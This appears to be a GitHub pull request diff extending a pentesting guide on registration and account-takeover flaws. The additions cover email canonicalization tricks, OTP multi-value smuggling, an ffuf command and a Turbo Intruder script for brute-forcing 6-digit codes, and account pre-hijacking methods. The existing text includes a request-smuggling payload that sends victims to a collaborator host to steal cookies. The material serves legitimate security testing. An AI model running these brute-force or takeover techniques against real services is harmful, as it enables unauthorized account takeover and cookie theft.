Skip to content
Merged
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
139 changes: 130 additions & 9 deletions src/pentesting-web/registration-vulnerabilities.md
Original file line number Diff line number Diff line change
Expand Up @@ -9,17 +9,27 @@
- Try to generate using an existing username
- Check varying the email:
- uppsercase
- \+1@
- +1@
- add some dot in the email
- special characters in the email name (%00, %09, %20)
- Put black characters after the email: `test@test.com a`
- victim@gmail.com@attacker.com
- victim@attacker.com@gmail.com
- Try email provider canonicalization tricks (service-dependent):
- Gmail ignores dots and subaddressing: `victim+1@gmail.com`, `v.ic.tim@gmail.com` deliver to `victim@gmail.com`
- Some providers are case-insensitive in the local-part
- Some providers accept unicode confusables. Try homoglyphs and soft hyphen `\u00AD` within the local-part
- Abuse these to: bypass uniqueness checks, obtain duplicate accounts/workspace invites, or block victim sign‑ups (temporary DoS) while you prepare a takeover

### Username Enumeration

Check if you can figure out when a username has already been registered inside the application.

- Different error messages or HTTP status codes
- Timing differences (existing user may trigger lookup to IdP/DB)
- Registration form autofill of profile data for known emails
- Check team/invite flows: entering an email may reveal whether an account exists

### Password Policy

Creating a user check the password policy (check if you can use weak passwords).\
Expand Down Expand Up @@ -49,10 +59,122 @@ When registered try to change the email and check if this change is correctly va

### More Checks

- Check if you can use **disposable emails**
- Check if you can use **disposable emails** (mailinator, yopmail, 1secmail, etc.) or bypass the blocklist with subaddressing like `victim+mailinator@gmail.com`
- **Long** **password** (>200) leads to **DoS**
- **Check rate limits on account creation**
- Use username@**burp_collab**.net and analyze the **callback**
- If phone number verification is used, check phone parsing/injection edge cases

{{#ref}}
phone-number-injections.md
{{#endref}}

{{#ref}}
captcha-bypass.md
{{#endref}}

## Weak Email/Phone Verification (OTP/Magic Link)

Registration flows often verify ownership via a numeric OTP or a magic-link token. Typical flaws:

- Guessable or short OTP (4–6 digits) with no effective rate limiting or IP/device tracking. Try parallel guesses and header/IP rotation.
- OTP reuse across actions or accounts, or not bound to the specific user/action (e.g., same code works for login and signup, or works after email is changed).
- Multi-value smuggling: some backends accept multiple codes and verify if any matches. Try:
- `code=000000&code=123456`
- JSON arrays: `{"code":["000000","123456"]}`
- Mixed parameter names: `otp=000000&one_time_code=123456`
- Comma/pipe separated values: `code=000000,123456` or `code=000000|123456`
- Response oracle: distinguish wrong vs expired vs wrong-user codes by status/message/body length.
- Tokens not invalidated after success or after password/email change.
- Verification token not tied to user agent/IP allowing cross-origin completion from attacker-controlled pages.

Bruteforcing example with ffuf against a JSON OTP endpoint:

```bash
ffuf -w <wordlist_of_codes> -u https://target.tld/api/verify -X POST \
-H 'Content-Type: application/json' \
-d '{"email":"victim@example.com","code":"FUZZ"}' \
-fr 'Invalid|Too many attempts' -mc all
```

Parallel/concurrent guessing to bypass sequential lockouts (use Turbo Intruder in Burp):

<details>
<summary>Turbo Intruder snippet to flood 6‑digit OTP attempts</summary>

```python
def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint, concurrentConnections=30, requestsPerConnection=100)
for code in range(0,1000000):
body = '{"email":"victim@example.com","code":"%06d"}' % code
engine.queue(target.req, body=body)

def handleResponse(req, interesting):
if req.status != 401 and b'Invalid' not in req.response:
table.add(req)
```
</details>

- Try racing verification: submit the same valid OTP simultaneously in two sessions; sometimes one session becomes a verified attacker account while the victim flow also succeeds.
- Also test Host header poisoning on verification links (same as reset poisoning below) to leak or complete verification on attacker controlled host.

{{#ref}}
rate-limit-bypass.md
{{#endref}}

{{#ref}}
2fa-bypass.md
{{#endref}}

{{#ref}}
email-injections.md
{{#endref}}

## Account Pre‑Hijacking Techniques (before the victim signs up)

A powerful class of issues occurs when an attacker performs actions on the victim’s email before the victim creates their account, then regains access later.

Key techniques to test (adapt to the target’s flows):

- Classic–Federated Merge
- Attacker: registers a classic account with victim email and sets a password
- Victim: later signs up with SSO (same email)
- Insecure merges may leave both parties logged in or resurrect the attacker’s access
- Unexpired Session Identifier
- Attacker: creates account and holds a long‑lived session (don’t log out)
- Victim: recovers/sets password and uses the account
- Test if old sessions stay valid after reset or MFA enablement
- Trojan Identifier
- Attacker: adds a secondary identifier to the pre‑created account (phone, additional email, or links attacker’s IdP)
- Victim: resets password; attacker later uses the trojan identifier to reset/login
- Unexpired Email Change
- Attacker: initiates email‑change to attacker mail and withholds confirmation
- Victim: recovers the account and starts using it
- Attacker: later completes the pending email‑change to steal the account
- Non‑Verifying IdP
- Attacker: uses an IdP that does not verify email ownership to assert `victim@…`
- Victim: signs up via classic route
- Service merges on email without checking `email_verified` or performing local verification

Practical tips

- Harvest flows and endpoints from web/mobile bundles. Look for classic signup, SSO linking, email/phone change, and password reset endpoints.
- Create realistic automation to keep sessions alive while you exercise other flows.
- For SSO tests, stand up a test OIDC provider and issue tokens with `email` claims for the victim address and `email_verified=false` to check if the RP trusts unverified IdPs.
- After any password reset or email change, verify that:
- all other sessions and tokens are invalidated,
- pending email/phone change capabilities are cancelled,
- previously linked IdPs/emails/phones are re‑verified.

Note: Extensive methodology and case studies of these techniques are documented by Microsoft’s pre‑hijacking research (see References at the end).

{{#ref}}
reset-password.md
{{#endref}}

{{#ref}}
race-condition.md
{{#endref}}

## **Password Reset Takeover**

Expand Down Expand Up @@ -139,11 +261,11 @@ See: [CVE-2020-7245](https://nvd.nist.gov/vuln/detail/CVE-2020-7245)

### Account Takeover Via HTTP Request Smuggling <a href="#account-takeover-via-http-request-smuggling" id="account-takeover-via-http-request-smuggling"></a>

1\. Use **smuggler** to detect the type of HTTP Request Smuggling (CL, TE, CL.TE)\
1. Use **smuggler** to detect the type of HTTP Request Smuggling (CL, TE, CL.TE)\
`powershell git clone https://github.com/defparam/smuggler.git cd smuggler python3 smuggler.py -h`\
2\. Craft a request which will overwrite the `POST / HTTP/1.1` with the following data:\
2. Craft a request which will overwrite the `POST / HTTP/1.1` with the following data:\
`GET http://something.burpcollaborator.net HTTP/1.1 X:` with the goal of open redirect the victims to burpcollab and steal their cookies\
3\. Final request could look like the following
3. Final request could look like the following

```
GET / HTTP/1.1
Expand All @@ -158,8 +280,8 @@ X: X
```

Hackerone reports exploiting this bug\
\* [https://hackerone.com/reports/737140](https://hackerone.com/reports/737140)\
\* [https://hackerone.com/reports/771666](https://hackerone.com/reports/771666)
* [https://hackerone.com/reports/737140](https://hackerone.com/reports/737140)\
* [https://hackerone.com/reports/771666](https://hackerone.com/reports/771666)

### Account Takeover via CSRF <a href="#account-takeover-via-csrf" id="account-takeover-via-csrf"></a>

Expand Down Expand Up @@ -205,8 +327,7 @@ Impact: Full Account Takeover (ATO) without any reset token, OTP, or email verif
## References

- [How I Found a Critical Password Reset Bug (Registration upsert ATO)](https://s41n1k.medium.com/how-i-found-a-critical-password-reset-bug-in-the-bb-program-and-got-4-000-a22fffe285e1)
- [Microsoft MSRC – Pre‑hijacking attacks on web user accounts (May 2022)](https://msrc.microsoft.com/blog/2022/05/pre-hijacking-attacks/)
- [https://salmonsec.com/cheatsheet/account_takeover](https://salmonsec.com/cheatsheet/account_takeover)

{{#include ../banners/hacktricks-training.md}}